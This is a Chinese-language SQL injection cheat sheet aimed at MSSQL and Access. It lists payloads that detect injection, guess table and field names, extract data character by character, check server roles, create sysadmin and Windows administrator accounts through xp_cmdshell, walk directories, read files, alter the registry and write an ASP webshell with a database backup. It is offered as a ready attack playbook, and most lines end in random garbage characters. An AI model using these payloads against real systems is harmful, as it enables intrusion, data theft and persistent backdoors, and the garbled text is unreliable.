1.判断是否有注入;and 1=1 ;and 1=2 C5XCy%h
2.初步判断是否是mssql ;and user>0 R`s /^0
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3.注入参数是字符'and [查询条件] and ''=' #Oe=G:+A
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' LM*9b
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5.判断数据库系统 >@ EQarD
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;and (select count(*) from sysobjects)>0 mssql %M'"%Yn@(y
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;and (select count(*) from msysobjects)>0 access w8@MUz}/#
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 0imz}Z]
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 >8>.o[Q&
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 -B`;Sx
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9.(1)猜字段的ascii值(access) >n` OLHg;
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ODEy2).
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(2)猜字段的ascii值(mssql) WpmypkJA#
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 1J<-P9 vk+
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10.测试权限结构(mssql) P *%bG 4
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- (:[><-h.
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- `w~ 9/sty
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ~t#'X8.)
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- +mF}j=k
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ^2=Jv.2{|
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- O+'Pq,hn
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;and 1=(select IS_MEMBER('db_owner'));-- "bw4{pa+
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11.添加mssql和系统的帐户 (tVY
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;exec master.dbo.sp_addlogin username;-- `ZNjA},.
;exec master.dbo.sp_password null,username,password;-- ;dB=/U>3U
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- pq4+n'uO
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;exec master.dbo.xp_cmdshell 'net user username password (Ojg~P4;&
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- jMw;`yh
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- sAnH\AFm
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- i\`[0dfY
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12.(1)遍历目录 <:%Iq13D
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;create table dirs(paths varchar(100), id int) _
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;insert dirs exec master.dbo.xp_dirtree 'c:\' >\@6i
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;and (select top 1 paths from dirs)>0 A\: =p
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 31bKgU{
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(2)遍历目录 <89js87
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;Y)?6^"
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 zlXkD~GV
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 VW'e&v1 .
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 #b{otc)
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 @9QHv
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13.mssql中的存储过程 vK$T$SL
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xp_regenumvalues 注册表根键, 子键 ,a?em'=
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 #xts*{u-#
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xp_regread 根键,子键,键值名 ;GvyL>|-~
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;exec xp_regread (6.0gB$aTu
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ,@ [Q:fY
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xp_regwrite 根键,子键, 值名, 值类型, 值 )6!SFj>.O
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 /n:s9eq
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ch< zpo:
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xp_regdeletevalue 根键,子键,值名 J .El&Dev
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 SYl:X
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ;rk}\M$+
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14.mssql的backup创建webshell jMd's|#OP
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use model czedn_}%Q
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create table cmd(str image); # Dy;x\a
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insert into cmd(str) values (''); XrBLw}lD`N
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backup database model to disk='c:\l.asp'; )Oa"B;\j
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15.mssql内置函数 Hm4lR{A
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;and (select @@version)>0 获得Windows的版本号 EB>laZy>
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Lmj?V1% V
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;and (select user_name())>0 爆当前系统的连接用户 W+1V&a}E
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;and (select db_name())>0 得到当前连接的数据库 [S$)^>0
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16.简洁的webshell qr6WSBc
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use model zW+Y{^hf
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create table cmd(str image); xazh8X0P
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insert into cmd(str) values (''); ' OJXllGi
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backup database model to disk='g:\wwwtest\l.asp';